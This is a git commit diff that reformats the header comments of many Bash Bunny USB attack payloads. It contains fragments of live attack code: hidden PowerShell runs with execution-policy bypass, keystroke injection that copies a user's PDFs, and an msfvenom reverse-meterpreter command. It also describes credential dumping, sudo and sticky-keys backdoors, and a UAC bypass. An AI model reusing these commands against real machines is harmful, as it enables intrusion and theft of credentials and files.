Cleanup: ALTCODE-DEMO: Update Payload Header

Also move shebang to top of file.

payloads/library/Incident_Response/Hidden_Images/payload.txt

@@ -1,7 +0,0 @@
-LED SETUP
-GET SWITCH_POSITION
-ATTACKMODE HID STORAGE
-
-LED SETUP
-RUN WIN powershell -executionpolicy Bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\${SWITCH_POSITION}\run.ps1')"
-LED ATTACK

payloads/library/Incident_Response/Link_File_analysis/payload.txt

@@ -1,7 +0,0 @@
-LED SETUP
-ATTACKMODE HID STORAGE
-GET SWITCH_POSITION
-
-LED SETUP
-RUN WIN powershell -executionpolicy Bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\${SWITCH_POSITION}\run.ps1')"
-LED ATTACk

payloads/library/android/fireytv/payload.txt

@@ -1,16 +1,17 @@
-# Title:         Firey TV
-# Author:        DemmSec
-# Version:       1.0
-#
-# Enables ADB and unknown sources on a target FireTV
-# Then pushes a payload APK via ADB
-#
+# Title: Firey TV
+# Author: DemmSec
+# Version: 1.0
+# Description:
+# Enables ADB and unknown sources on a target FireTV, Then pushes a payload APK via ADB.
 # Requires android-tools-adb installed on the Bash Bunny
 #
-# Purple ............Running HID emulation, enabling ADB and unknown sources
-# Blue Blinking ...............Running ADB command to push payload.apk
-# Red Blinking.......FireTV failed to get an IP address from the Bash Bunny
-# Green..............Finished
+# LEDS:
+# Purple: Running HID emulation, enabling ADB and unknown sources
+# Blue Blinking: Running ADB command to push payload.apk
+# Red Blinking: FireTV failed to get an IP address from the Bash Bunny
+# Green: Finished
+#
+# Target: Android (4.4.2)
 
 LED SETUP
 GET TARGET_IP

payloads/library/android/open_url/payload.txt

@@ -1,13 +1,16 @@
 #!/bin/bash
 #
-# Title:         Android Open Url (unlocked)
-# Author:        bg-wa
-# Version:       1.0
-# Target:        Android (4.2.2)
-# Props:         Hak5
-#
+# Title: Android Open Url (unlocked)
+# Author: bg-wa
+# Version: 1.0
+# Target: Android (4.2.2)
+# Props: Hak5
+# Description:
 # Opens the browser to a specified url on an unlocked android phone.
 #
+# LEDS:
+# Green - Starting
+# Red - Complete
 
 LED G
 

payloads/library/credentials/BruteBunny/payload.txt

@@ -1,13 +1,19 @@
 #!/bin/bash
 #
-# Title:         BruteBunny
-# Author:        Decoy
-# Version:       1.0
-# Category:      Password Recovery
-# Target:        Windows XP SP3+
+# Title: BruteBunny
+# Author: Decoy
+# Version: 1.0
+# Target: Windows XP SP3+
 #
-# Description:   Will attempt to bruteforce common router username/password combinations in an attempt to gain
-#                access to the admin panel.
+# Description:
+# Will attempt to bruteforce common router username/password combinations in an attempt to gain
+# access to the admin panel.
+#
+# LEDS:
+# Magenta: Setup
+# Yellow Blink: Attack Stage 1
+# Yellow Double Blink: Attack Stage 2
+# Green Rapid to Solid: Finished
 
 # init
 LED SETUP

payloads/library/credentials/BunnyTap/payload.txt

@@ -1,8 +1,16 @@
 #!/bin/bash
 #
-# Title:         BunnyTap
-# Author:        Whistle Master
-# Version:       1.0
+# Title: BunnyTap
+# Version: 1.0
+# Author: Whistle Master
+# Props: Samy Kamkar
+# Description:
+# PoisonTap for the BashBunny
+#
+# LEDS:
+# White Blinking: No DNSSpoof found
+# Green Blinking: Starting Attack
+# Blue: Started Attack
 
 # Enable Ethernet (RNDIS = Windows, ECM = mac/*nix)
 #ATTACKMODE RNDIS_ETHERNET
@@ -35,4 +43,4 @@ fi
 LED G 200
 setupNetworking
 startBunnyTap
-LED B 0
+LED B 0

payloads/library/credentials/Bunnyhound/payload.txt

@@ -1,17 +1,24 @@
 #!/bin/bash
 #
-# Title:         Bunnyhound
-# Author:        golem445
-# Version:       1.0
-# Dependencies:  Impacket, gohttp
-# Runtime:		 Dependent on domain size
-#
+# Title: Bunnyhound
+# Author: golem445
+# Version: 1.0
+# Dependencies: Impacket, gohttp
+# Runtime: Dependent on domain size
 #
+# Description:
 # Sets up Ethernet and HID keyboard interfaces simultaneously,
 # then uses HID to import Sharphound into memory via local
 # web server and execute the attack. Results are exported
 # to the loot directory via SMB.
-
+#
+# LEDS:
+# Magenta: Setup
+# Yellow Blinking: Attack Phase 1
+# Yellow Double Blinking: Attack Phase 2
+# White Rapid Blinking: Cleaning Up
+# Green: Attack Finished
+#
 # Start Setup
 LED SETUP
 
@@ -61,4 +68,4 @@ rm -rf /loot/smb/*
 sync
 
 # Complete
-LED FINISH
+LED FINISH

payloads/library/credentials/DumpCreds/payload.txt

@@ -1,28 +1,25 @@
 #!/bin/bash
 #
-# Title:         DumpCreds 2.1
-# Author:        QDBA
-# Version:       2.1.0
-# Build: 		 1004
-# Category:      Exfiltration
-# Target:        Windows Windows 10 (Powershell)
-# Attackmodes:   HID, Ethernet
-# !!! works only with Bash Bunny FW 1.1 and up !!!
+# Title: DumpCreds 2.1
+# Author: QDBA
+# Version: 2.1.0
+# Build: 1004
+# Target: Windows 10
+# Attack Modes: HID, RNDIS_ETHERNET
+# Description:
+# Works only with Bash Bunny FW 1.1 and up.
 #
-#
-# LED                      Status
-# ----------------------- + --------------------------------------------
-# SETUP                   + Setup
-# FAIL                    + No /tools/impacket/examples/smbserver.py found
-# FAIL2                   + Target did not acquire IP address
-# Yellow single blink     + Initialization
-# Yellow double blink     + HID Stage
-# Yellow triple blink     + Wait for IP coming up
-# Cyan inv single blink   + Wait for Handshake (SMBServer Coming up)
-# Cyan inv quint blink    + Powershell scripts running
-# White fast blink        + Cleanup, copy Files to <root>/loot
-# Green              	  + Finished
-# ----------------------- + --------------------------------------------
+# LEDS:
+# Magenta: Setup
+# Red: No /tools/impacket/examples/smbserver.py found
+# Red Blinking: Target did not acquire IP address
+# Yellow Blink: Initialization
+# Yellow Double Blink: HID Stage
+# Yellow Triple Blink: Wait for IP coming up
+# Cyan Blink: Wait for Handshake (SMBServer Coming up)
+# Cyan Quintuple Blink: Powershell scripts running
+# White Rapid Blink: Cleanup, copy Files to <root>/loot
+# Green: Finished
 
 logger -t DumpCred_2.1 "########################### Start payload DumpCred_2.1 #############################"
 

payloads/library/credentials/Jackalope/payload.txt

@@ -3,6 +3,19 @@
 # Title: Jackalope
 # Author: catatonic
 # Version: 1.1.0
+# Target: Windows
+# Attack Modes: HID, RNDIS_ETHERNET
+# Description:
+# Uses Metasploit to launch an SMB password stealing attack.
+#
+# LEDS:
+# Magenta: Setup
+# Cyan Blink: Clearing Password
+# Yellow Blink: Attack Phase 1
+# Yellow Double Blink: Attack Phase 2
+# Red Blink: Attack Failure
+# Red Fast Blink: Recon Failure 
+# Green: Attack Finished
 
 # Check readiness & prepare environment
 LED SETUP
@@ -115,4 +128,4 @@ do
 	else
 		ENTER_PW
 	fi
-done
+done

payloads/library/credentials/PasswordGrabber/payload.txt

@@ -7,9 +7,14 @@
 # Author:        jdebetaz
 # Props:         Hak5Darren, AlessandroZ, TeCHemically, dragmus13, RazerBlade
 # Version:       1.1
-# Category:      Credentials
 # Target:        Windows
-# Attackmodes:   HID, STORAGE
+# Attack Modes:   HID, STORAGE
+#
+# LEDS:
+# Magenta: Setup
+# Yellow Blinking: Attacking
+# Green: Attack Finished
+
 
 # Options
 LOOTDIR=/root/udisk/loot/PasswordGrabber
@@ -30,4 +35,4 @@ RUN WIN "powerShell -windowstyle hidden -ExecutionPolicy Bypass .((gwmi win32_vo
 sleep 10
 
 ######## FINISH ########
-LED FINISH
+LED FINISH

payloads/library/credentials/Quickdraw/payload.txt

@@ -3,12 +3,18 @@
 # Title:         Quickdraw
 # Author:        golem445
 # Version:       1.0
+# Attack Modes:  HID, RNDIS_ETHERNET
 # Dependencies:  Responder
-# Runtime:		 ~8 seconds
-#
+# Runtime:       ~8 seconds
+# Description:
 # Sets up Ethernet and HID keyboard interfaces simultaneously,
 # runs Responder, then uses HID to generate an NTLMv2 hash
 # response from the target computer.
+#
+# LEDS:
+# Magenta: Setup
+# Yellow Blink: Attacking
+# Green: Attack Finished
 
 # Prereq check
 REQUIRETOOL responder
@@ -55,4 +61,4 @@ cp logs/* $LOOTDIR/$HOST-$COUNT
 sync
 
 ## Finished
-LED FINISH
+LED FINISH

payloads/library/credentials/Roaster/payload.txt

@@ -3,14 +3,20 @@
 # Title:         Roaster
 # Author:        golem445
 # Version:       1.0
+# Attack Modes:  RNDIS_ETHERNET, HID
 # Dependencies:  impacket, gohttp
-# Runtime:		 ~10 seconds
-#
+# Runtime:       ~10 seconds
+# Description:
 # Sets up Ethernet and HID keyboard interfaces simultaneously,
 # then uses HID to import Invoke-Kerberoast into memory via 
 # Bash Bunny web server and execute the attack. Results are
 # exported to the loot directory via SMB. 
 #
+# LEDS:
+# Magenta: Setup
+# Yellow Blink: Attacking
+# White Blink: Clean up
+# Green: Attack Finished
 
 ### Prep for attack ###
 LED SETUP
@@ -57,4 +63,4 @@ rm -rf /loot/smb/*
 sync
 
 # Complete
-LED FINISH
+LED FINISH

payloads/library/credentials/SudoBackdoor/cleaner/payload.txt

@@ -4,13 +4,13 @@
 # Author:    oXis
 # Target:    Mac/Linux
 # Version:   0.1
+# Attack Modes: ECM_ETHERNET, HID
+# Description: Get back the password grabbed by the sudo backdoor and do cleanup
 #
-# Get back the password grabbed by the
-# sudo backdoor and do cleanup
-#
-# White            |  Ready
-# Blue blinking    |  Attacking
-# Green            |  Finished
+# LEDS:
+# White: Ready
+# Blue Blink: Attacking
+# Green: Finished
 
 LED SETUP
 

payloads/library/credentials/SudoBackdoor/injector/payload.txt

@@ -4,15 +4,18 @@
 # Author:    oXis
 # Target:    Mac/Linux
 # Version:   0.1
+# Attack Modes: ECM_ETHERNET, HID
 #
+# Description: 
 # Inject a sudo backdoor by installing a wrapper
 # inside .config/sudo/ and sourcing the dir
 # in the $PATH.
 #
-# White            |  Ready
-# Ammber blinking  |  Waiting for server
-# Blue blinking    |  Attacking
-# Green            |  Finished
+# LEDS:
+# White: Ready
+# Amber Blink: Waiting for server
+# Blue Blink: Attacking
+# Green: Finished
 
 LED SETUP
 

payloads/library/credentials/WifiGrabber/payload.txt

@@ -1,24 +1,19 @@
 #!/bin/bash
 
-# @title: WiFi Windows password grabber for the bash bunny
-# @author: Silvian Dragan
-# @props: Siem, Darren Kitchen
-# @version: 1.0
-# @target: Windows 7 (not tested for 8 and above)
+# Title: WiFiGrabber
+# Author: Silvian Dragan
+# Props: Siem, Darren Kitchen
+# Version: 1.0
+# Target: Windows 7
+# Description: This is a simple Wifi password grabber tested and working for Windows 7
+#              However this has not been tested on Windows 8 and above and any suggestions and
+#              improvements are greatly welcomed. Powershell scripting isn't higest skill so
+#              I'm sure I'll have much to learn.
 #
-#
-# @details: This is a simple Wifi password grabber tested and working for Windows 7
-# However this has not been tested on Windows 8 and above and any suggestions and
-# improvements are greatly welcomed. Powershell scripting isn't higest skill so
-# I'm sure I'll have much to learn.
-#
-#
-# Colors:
-#         Purple: starts the attack payload
-#         Green: successful execution
-#         Red: failure to load dependency ducky script
-#
-
+# LEDS:
+# Purple: starts the attack payload
+# Green: successful execution
+# Red: failure to load dependency ducky script
 
 ATTACKMODE HID STORAGE
 

payloads/library/credentials/WifiPass/payload.txt

@@ -5,21 +5,18 @@
 # Props:         illwill
 # Version:       1.0
 # Target:        Windows
+# Description: Uses the power of netsh to get a list of all wifi networks and passwords
+#              stored on the computer.  Windows 7 has some weird formatting issues with the
+#              loot file. Tested and working on Windows 7, 8.1, and 10.
+#              Goes through the netsh wlan show profiles and runs each with key=clear,
+#              saving any networks/keys that aren't open or WEP.  For any network that 
+#              users username and password to log in, you'll get the network name only.
 #
-# Uses the power of netsh to get a list of all wifi networks and passwords
-# stored on the computer.  Windows 7 has some weird formatting issues with the
-# loot file.
-#
-# Tested and working on Windows 7, 8.1, and 10.
-#
-# Goes through the netsh wlan show profiles and runs each with key=clear,
-# saving any networks/keys that aren't open or WEP.  For any network that 
-# users username and password to log in, you'll get the network name only.
-#
-# Blue   --- Setup
-# Yellow --- Using networks.txt to run through the networks
-# White  --- Clean up
-# Green  --- Done
+# LEDS:
+# Blue: Setup
+# Yellow: Using networks.txt to run through the networks
+# White: Clean up
+# Green: Done
 #
 
 LED B

payloads/library/credentials/bushingsBlueTurtle/payload.txt

@@ -4,27 +4,24 @@
 # Author:    Michael Weinstein
 # Target:    Mac/Linux
 # Version:   0.1
+# Description: Create a wrapper for sudo sessions that will live inside ~/.config/sudo and be added
+#              to the $PATH. After completing the sudo task for the user, it will attempt an encrypted
+#              reverse meterpreter session.  The msfvenom payload should be in this same directory as
+#              shell.py Run the following command to generate a payload, remember to input the appropriate
+#              IP and port
+#              msfvenom -p python/meterpreter/reverse_https LHOST=<IP ADDRESS> LPORT=<PORT> -f raw > payload.py
 #
-# Create a wrapper for sudo sessions that
-# will live inside ~/.config/sudo and be added
-# to the $PATH.  After completing the sudo task
-# for the user, it will attempt an encrypted reverse
-# meterpreter session.  The msfvenom payload
-# should be in this same directory as shell.py
-# Run the following command to generate a payload,
-# remember to input the appropriate IP and port
-# msfvenom -p python/meterpreter/reverse_https LHOST=<IP ADDRESS> LPORT=<PORT> -f raw > payload.py
+#              This payload was inspired greatly by SudoBackdoor
+#              and much of the code here was derived (or copied
+#              wholesale) from that with great thanks to oXis.
 #
-# This payload was inspired greatly by SudoBackdoor
-# and much of the code here was derived (or copied
-# wholesale) from that with great thanks to oXis.
+#              This one's for Bushing.  Probably should have written it in Perl.
 #
-# This one's for Bushing.  Probably should have written it in Perl.
-#
-# White            |  Ready
-# Amber blinking   |  Waiting for server
-# Blue blinking    |  Attacking
-# Green            |  Finished
+# LEDS:
+# White: Ready
+# Amber Blink: Waiting for server
+# Blue Blink: Attacking
+# Green: Finished
 
 LED SETUP
 

payloads/library/credentials/macinfograbber/payload.txt

@@ -3,14 +3,15 @@
 # Title:         Mac Info Grabber
 # Author:        kmakblob
 # Version:       1.2
+# Target:        macOS
+# Description:   Steaks cookies from chrome and documents from the documents folder (spreadsheets)
+#                then stashes them in /root/udisk/loot/MacLoot
 #
-# Steaks cookies from chrome and documents from the documents folder (spreadsheets)
-# then stashes them in /root/udisk/loot/MacLoot
-#
-# Amber..............Executing payload
-# Red................Failed to get spreadsheets
-# Purple.............Got some spreadsheets
-# Green..............Finished
+# LEDS:
+# Amber: Executing payload
+# Red: Failed to get spreadsheets
+# Purple: Got some spreadsheets
+# Green: Finished
 #
 
 LED G R

payloads/library/execution/RAZ_VBScript/payload.txt

@@ -4,17 +4,15 @@
 # Author:        RalphyZ
 # Version:       1.1a
 # Target:        Windows 7+
-# Dependencies:  VBScript (a.vbs) in the switch folder with this file
+# Dependencies:  Included a.vbs script
 # 
 # Description:   Executes a VBScript, concealed in a hidden PowerShell window
 #
-# Colors:
-# | Status     | Color                         | Description                                      |
-# | ---------- | ------------------------------| ------------------------------------------------ |
-# | SETUP      | Magenta solid                 | Setting attack mode, getting the switch position | 
-# | FAIL       | Red slow blink                | Could not find the a.vbs script                  | 
-# | ATTACK     | Yellow single blink           | Running the VBScript                             | 
-# | FINISH     | Green blink followed by SOLID | Script is finished                               | 
+# LEDS:
+# Magenta: Setting attack mode, getting the switch position
+# Red Blink: Could not find the a.vbs script
+# Yellow Single Blink: Running the VBScript
+# Green Blink to Solid: Script is finished
 
 # Magenta solid
 LED SETUP
@@ -43,4 +41,4 @@ QUACK ENTER
 
 # Green 1000ms VERYFAST blink followed by SOLID
 LED FINISH
-exit 0
+exit 0

payloads/library/execution/RevShellBack/payload.txt

@@ -1,12 +1,19 @@
 #!/bin/bash
 #
 # Title:         RevShellBack
-# Description:   Set up a reverse shell and execute powershell/generic commands in the background from the Bash Bunny via USB ethernet.
 # Author:        NodePoint
 # Version:       0.1.3
 # Category:      Execution
 # Target:        Windows
-# Attackmodes:   Ethernet, HID
+# Attack Modes:  RNDIS_ETHERNET, HID
+# Description:   Set up a reverse shell and execute powershell/generic commands in the background from the Bash Bunny via USB ethernet.
+#
+# LEDS:
+# Magenta: Setup
+# Yellow Single Blink: Open CMD
+# Yellow Double Blink: Start Reverse Shell
+# Cyan Blink: Attack
+# Green: Finished
 
 # Set attack mode
 LED SETUP

payloads/library/execution/ShellExec/payload.txt

@@ -2,17 +2,17 @@
 
 # Title:     ShellExec
 # Author:    audibleblink
-# Target:    Mac/Linux
+# Target:    Mac, Linux
 # Version:   1.1
+# Attack Modes: ECM_ETHERNET, HID
+# Description: Create a web server on the BashBunny and force the victim to download and execute a script.
+#              Perfect for when mass storage isn't an option.
 #
-# Create a web server on the BashBunny and force
-# the victim to download and execute a script.
-# Perfect for when mass storage isn't an option.
-#
-# White            |  Ready
-# Ammber blinking  |  Waiting for server
-# Blue blinking    |  Attacking
-# Green            |  Finished
+# LEDS:
+# White: Ready
+# Amber Blink: Waiting for server
+# Blue Blink: Attacking
+# Green: Finished
 
 LED SETUP
 ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E

payloads/library/execution/StickyBunny/payload.txt

@@ -1,15 +1,17 @@
 #!/bin/bash
 #
-# Title:         StickyBunny
-# Author:        Squibs
-# Version:       0.3
-# Plug2Pwn:		 18s
+# Title:        StickyBunny
+# Author:       Squibs
+# Version:      0.3
+# Attack Modes: HID
+# Target:       Windows
+# Runtime:      18s
+# Description:  Creates the sticky keys back door on a windows machine
 #
-# Creates the sticky keys back door on a windows machine
-#
-# Blue...............Preparing Attack
-# Yellow.............Attacking
-# Green..............GTFO
+# LEDS:
+# Blue: Preparing Attack
+# Yellow: Attacking
+# Green: Finished
 
 #Open Admin Powershell 
 ATTACKMODE HID

payloads/library/execution/exe_UACBypassD&E/payload.txt

@@ -1,14 +1,24 @@
-# Title:         UACBypass
-# Author:        Skiddie
-# Version:       1.1
-# Target:        Windows
+# Title:        UACBypass
+# Author:       Skiddie
+# Version:      1.1
+# Target:       Windows
+# Attack Modes: HID, STORAGE 
 #
-# Description: Download and executes any binary executable with administrator privileges WITHOUT prompting the user for administrator rights (aka UAC bypass/exploit). Please define URL and SAVEFILENAME in the a.vbs script. Target does need internet connection. Works on Windows 7 - Windows 10. The UAC bypass was patched in Win10 V.1607, the file will still execute but with normal user privliges. However from what i am aware version 7,8 and 8.1 are still effected. Currently fastest download and execute for HID attacks to date. (with UAC bypass)
+# Description:  Download and executes any binary executable with administrator privileges WITHOUT prompting
+#               the user for administrator rights (aka UAC bypass/exploit). Please define URL and SAVEFILENAME
+#               in the a.vbs script. Target does need internet connection. Works on Windows 7 - Windows 10.
+#               The UAC bypass was patched in Win10 V.1607, the file will still execute but with normal user privliges.
+#               However from what I am aware version 7,8 and 8.1 are still effected.
+#               Currently fastest download and execute for HID attacks to date. (with UAC bypass)
+#
+# LEDS:
+# Magenta: Starting
+# Green: Finished
 
 #Define your bunny storage stick name
 DRIVER_LABEL='BashBunny'
 
-#RED means starting
+#Magenta means starting
 LED SETUP
 
 #Gets File locations
@@ -17,7 +27,6 @@ GET SWITCH_POSITION
 #We are a keyboard
 ATTACKMODE HID STORAGE
 
-
 QUACK DELAY 500
 RUN WIN powershell -windowstyle hidden ".((gwmi win32_volume -f 'label=''$DRIVER_LABEL''').Name+'payloads\\$SWITCH_POSITION\a.vbs')"
 QUACK DELAY 1000

payloads/library/execution/psh_DownloadExec/payload.txt

@@ -4,18 +4,17 @@
 # Author:        LowValueTarget
 # Version:       1.2
 # Category:      Powershell
-# Target:        Windows XP SP3+ (Powershell)
+# Target:        Windows XP SP3+
 # Attackmodes:   HID, RNDIS_ETHERNET
 # Firmware:      >= 1.3
+# Description: Quick HID attack to retrieve and run powershell payload from BashBunny web server.
+#              Ensure p.txt (your powershell payload) exists in payload directory
 #
-# Quick HID attack to retrieve and run powershell payload from BashBunny web server
-# ensure p.txt (your powershell payload) exists in payload directory
-#
-# | Attack Stage        | Description                              |
-# | ------------------- | ---------------------------------------- |
-# | Stage 1             | Running Initial Powershell Commands      |
-# | Stage 2             | Delivering powershell payload            |
-#
+# LEDS:
+# Yellow Single Blink: Running Initial Powershell Commands
+# Yellow Double Blink: Delivering powershell payload
+# Green: Finished
+# Red Blink: Failure
 
 ATTACKMODE RNDIS_ETHERNET HID
 LED SETUP

payloads/library/execution/psh_DownloadExecSMB/payload.txt

@@ -4,26 +4,22 @@
 # Author:        LowValueTarget
 # Version:       2.0
 # Category:      Powershell
-# Target:        Windows XP SP3+ (Powershell)
-# Attackmodes:   HID, RNDIS_ETHERNET
+# Target:        Windows XP SP3+
+# Attack Modes:  HID, RNDIS_ETHERNET
 # Firmware:      >= 1.2
+# Required Tools: impacket 
+# Description: Quick HID attack to retrieve and run powershell payload from BashBunny SMBServer.
+#              Possibilities are limitless! Credentials captured by  are stored as loot.  
+#              Ensure p.txt exists in payload directory  (using .txt instead of .ps1 in case of security countermeasures)
 #
-# Quick HID attack to retrieve and run powershell payload from BashBunny SMBServer. Possibilities are limitless!
-# Credentials captured by  are stored as loot.  
-# Ensure p.txt exists in payload directory  (using .txt instead of .ps1 in case of security countermeasures)
-#
-# Required tools: impacket 
-=======
-# Credentials captured by  are stored as loot.
-# Ensure p.txt exists in payload directory  (using .txt instead of .ps1 in case of security countermeasures)
-#
-# Required tools: impacket
-#
-# | Attack Stage        | Description                   |
-# | ------------------- | ------------------------------|
-# | Stage 1             | Powershell                    |
-# | Stage 2             | Delivering powershell payload |
+# LEDS:
+# Magenta: Setup
+# Yellow Single Blink: Powershell
+# Yellow Double Blink: Delivering powershell payload
+# White: Clean up
+# Green: Finished
 #
+
 ATTACKMODE RNDIS_ETHERNET HID
 
 # SETUP

payloads/library/exfiltration/BlackBackup/payload.txt

@@ -1,16 +1,17 @@
-# Title:         BlackBackup
-# Author:        JWHeuver & JBaselier
-# Version:       1.0
-#
-# Runs powershell script to get Wlan and logon credentials
-# from computer and save them on USB drive (Storage attack)
-#
-# Purple.............Loading
-# Green .............Execute Credential Ripper Powershell
-# Off................Finished
-#
 #!/bin/bash
 
+# Title:       BlackBackup
+# Author:      JWHeuver & JBaselier
+# Version:     1.0
+# Description: Runs powershell script to get Wlan and logon credentials 
+#	       from computer and save them on USB drive (Storage attack)
+#
+# LEDS:
+# Purple: Loading
+# Green:  Execute Credential Ripper Powershell
+# Off:     Finished
+#
+
 # OPTIONS - More options available in the Powershell payload
 OBFUSCATECMD="N" # Y=yes or N=no
 

payloads/library/exfiltration/FileInfoExfil/payload.txt

@@ -1,18 +1,21 @@
-#Title: FileInfoExfiltrator
-#Author: A_SarcasticGuy
-#Version: 1.0
-#Target: Windows
+#!/bin/bash
+
+# Title: FileInfoExfiltrator
+# Author: A_SarcasticGuy
+# Version: 1.0
+# Attack Modes: HID, STORAGE
+# Targets: Windows
+# Description:  Runs Powershell that calls a .ps1 file to scan (in all subdirectories of path provided)
+#               for all files (by default starting on c:/) beginning with a #specific phrase (default "pass*")
+#               to then be outputted to a text file in the loot directory, in a subfolder with the name of the
+#               system and with a file name of the date and time of the scan.
+#             	NOTE: p.ps1 MUST be in loot/payloads/ for this to work.
 #
-#Runs Powershell that calls a .ps1 file to scan (in all subdirectories of path provided) for all files (by default starting on c:/) beginning with a #specific phrase (default "pass*") to then #be outputted to a text file in the loot directory, in a subfolder with the name of the system and with a #file name of the date and time of the scan.
+# LEDS
+#	Magenta: Script Started
+#	Yellow: Ducky Script Started
+#	Red: Failed to run Ducky Script, see log file
 #
-#	Options: Search Directory: Find in p.bat (default c:/)
-#	 	 Search criteria: Find in p.bat (default "pass*")
-#
-#	Purple LED..................Script Started
-#	Yellow LED..................Ducky Script Started
-#	Red LED.....................Failed to run Ducky Script, see log file
-#
-#	NOTE: p.ps1 MUST be in loot/payloads/ for this to work.
 #
 
 LED SETUP
@@ -23,29 +26,18 @@ ATTACKMODE HID STORAGE
 
 if [ -f "/root/udisk/payloads/${SWITCH_POSITION}/ducky_script.txt" ]; then
 
-
 #Call ducky script
 LED STAGE1
 
-
 QUACK ${SWITCH_POSITION}/ducky_script.txt
-
-
 QUACK DELAY 10000
-
 LED FINISH
 
 else
 
-
 LED FAIL
-
-
 #Red LED if unable to load script
 echo "Unable to load ducky_script.txt" >> /root/debuglog.txt
 
-
 exit 1
-
-
 fi

payloads/library/exfiltration/MacPDFExfil/payload.txt

@@ -4,9 +4,9 @@
 # Author:        k1ul3ss
 # Props:         audibleblink
 # Version:       1.0
-# Category:      Exfiltration
-# Target:        macOS
-# Attackmodes:   HID, Storage
+# Targets:       macOS
+# Attack Modes:  HID, Storage
+# Description:   Finds all PDFs in the users Home directory, and then copies them to the Bunnys storage.
 
 ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E
 
@@ -28,4 +28,4 @@ QUACK STRING find \~ -name \'*.pdf\' -exec cp \"{}\" $lootdir \\\;\; killall Ter
 QUACK ENTER
 
 # sync the filesystem
-sync
+sync

payloads/library/exfiltration/Powershell_TCP_Extractor/payload.txt

@@ -3,10 +3,15 @@
 # Title:         Powershell Extractor
 # Author:        $irLurk$alot
 # Version:       1.0
-# Target:        Windows
+# Targets:       Windows
+# Attack Modes:  HID, STORAGE
+# Description: Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
+#              which in turn runs powershell script to copy move and extract data.
 #
-# Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
-# which in turn runs powershell script to copy move and extract data.
+# LEDS:
+# Magenta: Setting Up
+# Yellow Blink: Executing Powershell
+# Green: Finished
 
 LED SETUP
 

payloads/library/exfiltration/SmacAndGrab/payload.txt

@@ -2,13 +2,14 @@
 #
 # Title:         sMacAndGrab
 # Author:        audibleblink
-# Target:      macOS
+# Targets:       macOS
 # Version:       1.2
+# Attack Modes:  STORAGE, HID
+# Description:   Backup a list of files from macOS
 #
-# Backup a list of files from macOS
-#
-# Yellow (blinking)...Attacking
-# Green...............Finished
+# LEDS:
+# Yellow Blink: Attacking
+# Green: Finished
 
 LED ATTACK
 ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E

payloads/library/exfiltration/SmartFileExtract/payload.txt

@@ -0,0 +1,31 @@
+#!/bin/bash
+#
+# Title:       SmartFileExtract
+# Author:      IMcPwn
+# Props:       SaintCrossbow
+# Version:     1.0
+# Targets:     Windows
+# Description: Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
+#              which in turn executes e.cmd invisibly using i.vbs
+#              which in turn copies payload.exe from the root of the Bash Bunny and then executes it
+#              using the --startup parameter. Change these settings inside of e.cmd.
+#
+# LEDS:
+# Red: Attacking
+# Green: Finished
+
+# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
+source bunny_helpers.sh
+
+LED R
+# Note: Acting as Lexar Compact Flash Drive to throw off forensics
+ATTACKMODE HID STORAGE VID_0X05DC PID_0X0081
+QUACK DELAY 200
+REM --> Minimize all windows
+QUACK WINDOWS d
+QUACK DELAY 200
+QUACK GUI r
+QUACK DELAY 100
+QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\switch2\d.cmd')"
+QUACK ENTER
+LED G

payloads/library/exfiltration/SmartFileExtract_Exfiltrator/payload.txt

@@ -1,29 +0,0 @@
-#!/bin/bash
-#
-# Title:         ExecutableInstaller
-# Author:        IMcPwn (original)
-# Additions:     SaintCrossbow (only for the parts to run SFE)
-# Version:       1.0
-# Target:        Windows 7+
-#
-# Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
-# which in turn executes e.cmd invisibly using i.vbs
-# which in turn copies payload.exe from the root of the Bash Bunny and then executes it
-# using the --startup parameter. Change these settings inside of e.cmd.
-#
-
-# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
-source bunny_helpers.sh
-
-LED R
-# Note: Acting as Lexar Compact Flash Drive to throw off forensics
-ATTACKMODE HID STORAGE VID_0X05DC PID_0X0081
-QUACK DELAY 200
-REM --> Minimize all windows
-QUACK WINDOWS d
-QUACK DELAY 200
-QUACK GUI r
-QUACK DELAY 100
-QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\switch2\d.cmd')"
-QUACK ENTER
-LED G

payloads/library/exfiltration/TwoStageMac/payload.txt

@@ -1,12 +1,18 @@
 # Title:         TwoStageMac
 # Description:   A simple two stage payload for OSX. Sample second stage
 #                does some device profiling.
+#
 # Author:        Draxiom
 # Props:         jdetmold
 # Version:       1.0
 # Category:      Exfiltration
 # Target:        OSX
 # Attack Modes:  HID, STORAGE
+# LEDS:
+# Magenta - Setup
+# Yellow Blink - Attacking
+# White - Clean up
+# Green - Finished
 
 LED SETUP
 ATTACKMODE HID VID_0X05AC PID_0X021E STORAGE

payloads/library/exfiltration/browserData/payload.txt

@@ -2,16 +2,17 @@
 #
 # Title:         BrowserData
 # Author:        zachstanford
-# Version:       0.1 (Tested on Windows 10)
+# Version:       0.1
+# Targets:       Windows
+# Attack Modes:  HID, STORAGE
+# Description:   Dumps browser info like history and bookmarks from  powershell script 
+#                then saves them in /root/udisk/loot/BrowserData/%ComputerName%
+#                Credits to this Empire's powershell script:
+#                https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-BrowserData.ps1
 #
-# Dumps browser info like history and bookmarks from  powershell script 
-# then saves them in /root/udisk/loot/BrowserData/%ComputerName%
-# Credits to this Empire's powershell script:
-# https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-BrowserData.ps1
-
-#script 
-# Blue...............Running Script
-# Purple.............Finished
+# LEDS:
+# Blue: Running Script
+# Magenta: Finished
 
 # Not sure if this is the right variable. Feel free to change it.
 
@@ -23,7 +24,6 @@ LED R SLOW
 LOOTDIR=/root/udisk/loot/BrowserData
 mkdir -p $LOOTDIR
 
-
 LED B SLOW
 
 # wait 6 seconds for the storage to popup

payloads/library/exfiltration/dropbox-exfiltrator/payload.txt

@@ -1,9 +1,14 @@
-# Dropbox Exfiltrator
+# Title: Dropbox Exfiltrator
 # Author: Hak5Darren
